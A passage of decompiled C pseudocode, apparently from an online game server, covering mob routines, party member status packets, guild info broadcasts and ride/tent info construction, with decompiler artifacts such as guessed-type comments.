arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v9 = (char *)v1 + 8424; LOBYTE(v10) = 1; List::l_4AllInList((List *)v1 + 351, &arg); v5 = **((_DWORD **)v1 + 2062); LOBYTE(v10) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; (*(void (**)(void))(v5 + 20))(); } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_DuringBattle"); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00506260) -------------------------------------------------------- #error "506260: undefined or illegal type '#331' (funcsize=282)" //----- (00506630) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineServant::so_Routine(ShineObjectClass::ShineServant *this, List *lst, unsigned __int16 handle) { ShineObjectClass::ShineServant *v3; // esi@1 unsigned int v4; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1136))(v3) != 3 ) { if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 2388))(v3) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)&v3->gap0[0] + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v3->gap0[4], 0, 9); goto LABEL_10; } v4 = *(_DWORD *)&v3->gap0[7620]; if ( v4 && clockwatch.cw_CurrTick > v4 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)&v3->gap0[0] + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v3->gap0[4], 0, 10); goto LABEL_10; } } ShineObjectClass::ShineMob::so_Routine(v3, lst, handle); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1136))(v3) != 3 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1136))(v3) ) v3->ss_ExplosionManager = (MobExplosionElement::MobExplosionBase *)(**(int (__stdcall ***)(_DWORD, _DWORD))v3->ss_ExplosionManager)( v3, *(_DWORD *)&v3->gap0[8924]); LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineServant::so_Routine"); return 1; } // 506260: using guessed type int __thiscall ShineObjectClass__ShineMob__so_Routine(_DWORD, _DWORD, _DWORD); //----- (00506780) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineBandit::so_Routine(ShineObjectClass::ShineBandit *this, List *lst, unsigned __int16 handle) { ShineObjectClass::ShineBandit *v3; // esi@1 char v4; // al@2 int v5; // ecx@5 char v6; // bl@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineBandit::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v3->sb_MobBriefInfo.bic_BriefInfo->type == 5 ) { v4 = ShineObjectClass::ShineMob::so_Routine(v3, lst, handle); LABEL_8: --funcallanalizer.fca_stackpoint; v6 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_Routine"); return v6; } if ( v3->gap0[7416] & 1 ) { v4 = ShineObjectClass::ShineMob::so_Routine(v3, lst, handle); goto LABEL_8; } v5 = *(_DWORD *)&v3->gap0[98]; if ( v5 && FieldMap::fm_IsInFieldSize(v5, *(_DWORD *)&v3->gap0[78]) ) { ShineObjectClass::ShineMobileObject::smo_MoveByScenario(v3); v4 = ShineObjectClass::ShineMobileObject::so_Routine(v3, (int)lst, handle); goto LABEL_8; } AssertClass::ac_AssertFail(&shineassert, "fm_IsInFieldSize : Bandit", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)&v3->gap0[0] + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v3->gap0[4], 0, 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_Routine"); return 1; } // 506260: using guessed type int __thiscall ShineObjectClass__ShineMob__so_Routine(_DWORD, _DWORD, _DWORD); //----- (005068E0) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00506950) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineAxialFlag::so_Routine(ShineObjectClass::ShineAxialFlag *this, List *lst, unsigned __int16 handle) { ShineObjectClass::ShineAxialFlag *v3; // edi@1 List *v4; // ecx@1 unsigned int v5; // esi@1 int v6; // edi@3 int v7; // ecx@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineAxialFlag::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineAxialFlag::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (List *)v3->safm_Screen; v5 = 0; if ( v4 ) List::l_4AllInList( v4, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))Movie::Theater::t_Routine); v6 = (int)&v3->safm_vecRoutions; while ( 1 ) { v7 = *(_DWORD *)(v6 + 4); if ( !v7 ) break; if ( v5 >= (*(_DWORD *)(v6 + 8) - v7) >> 2 ) break; if ( !v7 || (*(_DWORD *)(v6 + 8) - v7) >> 2 <= v5 ) std::vector>::_Xran((std::vector > *)v6); (*(void (**)(void))(**(_DWORD **)(v7 + 4 * v5++) + 4))(); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineAxialFlag::so_Routine"); return 1; } //----- (00506A30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_GetGuildRegnum(int this) { return *(_DWORD *)(this + 8420); } //----- (00506A40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_mobile_GetGuildRegnum(int this) { return *(_DWORD *)(this + 91044); } //----- (00506A50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear(ShineObjectClass::ShinePlayer::PartyMemberInform *this) { this->pmi_LastSP = -1; this->pmi_LastHP = -1; this->pmi_ChrClass = 0; this->pmi_Level = 0; this->pmi_MaxSP = 0; this->pmi_MaxHP = 0; this->pmi_Coord.y = 0; this->pmi_Coord.x = 0; } //----- (00506A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendHPinform(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // eax@1 char *v4; // edi@4 int v5; // eax@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHPinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendHPinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1556))(v1); v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1236))(v1) - v2; if ( v3 < 0 ) v3 = 0; if ( *((_DWORD *)v1 + 16454) != v3 ) { *((_DWORD *)v1 + 16454) = v3; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9230; *(_DWORD *)(v4 + 2) = v3; *((_WORD *)v4 + 3) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1932))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 12))(v5, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendHPinform : Packet Too Long", 8); } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1556))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1236))(v1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHPinform"); } //----- (00506BA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendSPinform(void *this) { void *v1; // esi@1 char *v2; // edi@2 int v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendSPinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendSPinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16455) != (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1240))(v1) ) { *((_DWORD *)v1 + 16455) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1240))(v1); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9231; *(_DWORD *)(v2 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1240))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendSPinform : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendSPinform"); } //----- (00506CB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_partylogout(void *this) { void *v1; // esi@1 char *v2; // edi@1 int v3; // ebp@1 int v4; // eax@1 signed int v5; // ebx@1 int v6; // edi@2 int v7; // edi@3 int v8; // eax@8 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_partylogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_partylogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14410; v3 = 0; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); *(_DWORD *)(v2 + 2) = *(_DWORD *)v4; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v4 + 4); *(_DWORD *)(v2 + 10) = *(_DWORD *)(v4 + 8); *(_DWORD *)(v2 + 14) = *(_DWORD *)(v4 + 12); v5 = 0; if ( **((_BYTE **)v1 + 22237) ) { do { v6 = *((_DWORD *)v1 + 22237) + v3; if ( *(_DWORD *)(v6 + 4) != (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1) ) { v7 = *(_DWORD *)(v6 + 32); if ( v7 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v7 + 768))(v7) || (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 836))(v7) != *(_DWORD *)(*((_DWORD *)v1 + 22237) + v3 + 4) ) { *(_DWORD *)(*((_DWORD *)v1 + 22237) + v3 + 32) = 0; } else { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 764))(v7); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v7, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_partylogout : Packet Too Long", 18); } } } } ++v5; v3 += 32; } while ( v5 < **((_BYTE **)v1 + 22237) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_partylogout"); } //----- (00506E30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember(void *this) { void *v1; // esi@1 char *v2; // edi@6 int v3; // eax@6 int v4; // eax@6 int v5; // edx@6 int v6; // eax@6 int v7; // eax@7 char *v8; // edi@11 int v9; // eax@11 int v10; // eax@11 char v11; // al@11 char v12; // al@11 int v13; // edx@11 int v14; // eax@11 int v15; // eax@11 int v16; // ecx@12 int v17; // eax@12 int v18; // ecx@12 char *v19; // edi@13 int v20; // eax@13 int v21; // eax@13 CParty::PARTY_SLOT *v22; // ST04_4@13 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1) != -1 && *((_DWORD *)v1 + 22237) ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1) != *((_DWORD *)v1 + 22238) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1240))(v1) != *((_DWORD *)v1 + 22239) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14386; v2[2] = 1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); *(_DWORD *)(v2 + 3) = *(_DWORD *)v3; *(_DWORD *)(v2 + 7) = *(_DWORD *)(v3 + 4); *(_DWORD *)(v2 + 11) = *(_DWORD *)(v3 + 8); *(_DWORD *)(v2 + 15) = *(_DWORD *)(v3 + 12); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1); *(_DWORD *)(v2 + 19) = v4; v5 = *(_DWORD *)v1; *((_DWORD *)v1 + 22238) = v4; v6 = (*(int (__thiscall **)(void *))(v5 + 1240))(v1); *(_DWORD *)(v2 + 23) = v6; *((_DWORD *)v1 + 22239) = v6; PartyManufacture::pm_Broadcast(&partymanufacture, (#440 *)v1, *((CParty::PARTY_SLOT **)v1 + 22237), &gpp, 27); } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 40))(v7) != *((_BYTE *)v1 + 88960) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1220))(v1) != *((_BYTE *)v1 + 88961) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1244))(v1) != *((_DWORD *)v1 + 22241) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1248))(v1) != *((_DWORD *)v1 + 22242) ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14387; v8[2] = 1; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); *(_DWORD *)(v8 + 3) = *(_DWORD *)v9; *(_DWORD *)(v8 + 7) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 11) = *(_DWORD *)(v9 + 8); *(_DWORD *)(v8 + 15) = *(_DWORD *)(v9 + 12); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v10 + 40))(v10); v8[19] = v11; *((_BYTE *)v1 + 88960) = v11; v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1220))(v1); v8[20] = v12; v13 = *(_DWORD *)v1; *((_BYTE *)v1 + 88961) = v12; v14 = (*(int (__thiscall **)(void *))(v13 + 1244))(v1); *(_DWORD *)(v8 + 21) = v14; *((_DWORD *)v1 + 22241) = v14; v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1248))(v1); *(_DWORD *)(v8 + 25) = v15; *((_DWORD *)v1 + 22242) = v15; v8[29] = 1; PartyManufacture::pm_Broadcast(&partymanufacture, (#440 *)v1, *((CParty::PARTY_SLOT **)v1 + 22237), &gpp, 30); } v16 = *(_DWORD *)((char *)v1 + 78); v17 = *(_DWORD *)v16; v18 = *(_DWORD *)(v16 + 4) - *((_DWORD *)v1 + 22244); if ( (v17 - *((_DWORD *)v1 + 22243)) * (v17 - *((_DWORD *)v1 + 22243)) + v18 * v18 >= 40000 ) { v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14409; v19[2] = 1; v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); *(_DWORD *)(v19 + 3) = *(_DWORD *)v20; *(_DWORD *)(v19 + 7) = *(_DWORD *)(v20 + 4); *(_DWORD *)(v19 + 11) = *(_DWORD *)(v20 + 8); *(_DWORD *)(v19 + 15) = *(_DWORD *)(v20 + 12); v21 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v19 + 19) = *(_DWORD *)v21; *(_DWORD *)(v19 + 23) = *(_DWORD *)(v21 + 4); *((_DWORD *)v1 + 22243) = *(_DWORD *)v21; v22 = (CParty::PARTY_SLOT *)*((_DWORD *)v1 + 22237); *((_DWORD *)v1 + 22244) = *(_DWORD *)(v21 + 4); PartyManufacture::pm_Broadcast(&partymanufacture, (#440 *)v1, v22, &gpp, 27); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); } } //----- (00507120) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned __int8 v3; // al@2 int v4; // ebx@6 int v5; // ebp@7 int v6; // eax@9 int v7; // edi@11 void *v8; // ebp@11 char *v9; // [sp-4h] [bp-24h]@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1) == -1 ) goto LABEL_4; v3 = **((_BYTE **)v1 + 22237); if ( v3 > 1u ) { if ( v3 ) { v4 = 0; do { v5 = *((_DWORD *)v1 + 22237); if ( *(_DWORD *)(v4 + v5 + 4) == (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1) ) break; ++v2; v4 += 32; } while ( v2 < *(_BYTE *)v5 ); } v6 = *((_DWORD *)v1 + 22237); if ( v2 == *(_BYTE *)v6 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1); LABEL_20: v9 = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; goto LABEL_21; } v7 = 32 * v2; v8 = *(void **)(v7 + v6 + 32); if ( v8 ) { if ( v1 == v8 ) { LABEL_16: if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 768))(v8) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 22237) + 32) = 0; } if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 836))(v8) != *(_DWORD *)(v7 + *((_DWORD *)v1 + 22237) + 4) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 22237) + 32) = 0; } goto LABEL_20; } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 22237) + 32) = v1; } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 22237) + 32) = v1; } v8 = v1; goto LABEL_16; } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1360))(v1, 65535); LABEL_4: v9 = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (00507310) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_partymemberlogin(void *this, int member) { int v2; // esi@1 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_PartyInformInit(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"); } //----- (005073B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo(void *this) { void *v1; // esi@1 int v2; // edx@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v7; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v7 = 0; *(_DWORD *)(*(_DWORD *)((char *)v1 + 32047) + 136) = (*(int (__thiscall **)(void *))(v2 + 1980))(v1); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32047) + 141) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2044))(v1); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4206; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v3 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"); } //----- (005074D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(void *this, int camp) { void *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 char result; // al@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 22272); if ( v3 && (v4 = *(_DWORD *)(v3 + 4)) != 0 ) { *(_WORD *)camp = *(_BYTE *)v4; *(_DWORD *)(camp + 2) = -1; *(_DWORD *)(camp + 6) = -1; *(_WORD *)(camp + 10) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); result = 0; } return result; } //----- (005075B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo(void *this, int ride) { void *v2; // ebx@1 int v3; // eax@1 int v4; // ebx@1 int v5; // edx@1 int v6; // eax@2 PROTO_EQUIPMENT tempequip; // [sp+Ch] [bp-2Ch]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 32047); v4 = *((_DWORD *)v2 + 23032); v5 = *(_DWORD *)(v3 + 29); memcpy(&tempequip, (const void *)(v3 + 33), 0x28u); *(_WORD *)&tempequip.upgrade.gap0[0] = *(_WORD *)(v3 + 73); tempequip.upgrade._bf2 = *(_BYTE *)(v3 + 75); if ( v4 ) { v6 = ride; *(_WORD *)(ride + 47) = **(_WORD **)(v4 + 4); } else { v6 = ride; *(_WORD *)(ride + 47) = -1; } memcpy((void *)(v6 + 4), &tempequip, 0x28u); *(_WORD *)(v6 + 44) = *(_WORD *)&tempequip.upgrade.gap0[0]; *(_DWORD *)v6 = v5; *(_BYTE *)(v6 + 46) = tempequip.upgrade._bf2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"); return 1; } //----- (00507660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3108; *(_DWORD *)(v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ"); } //----- 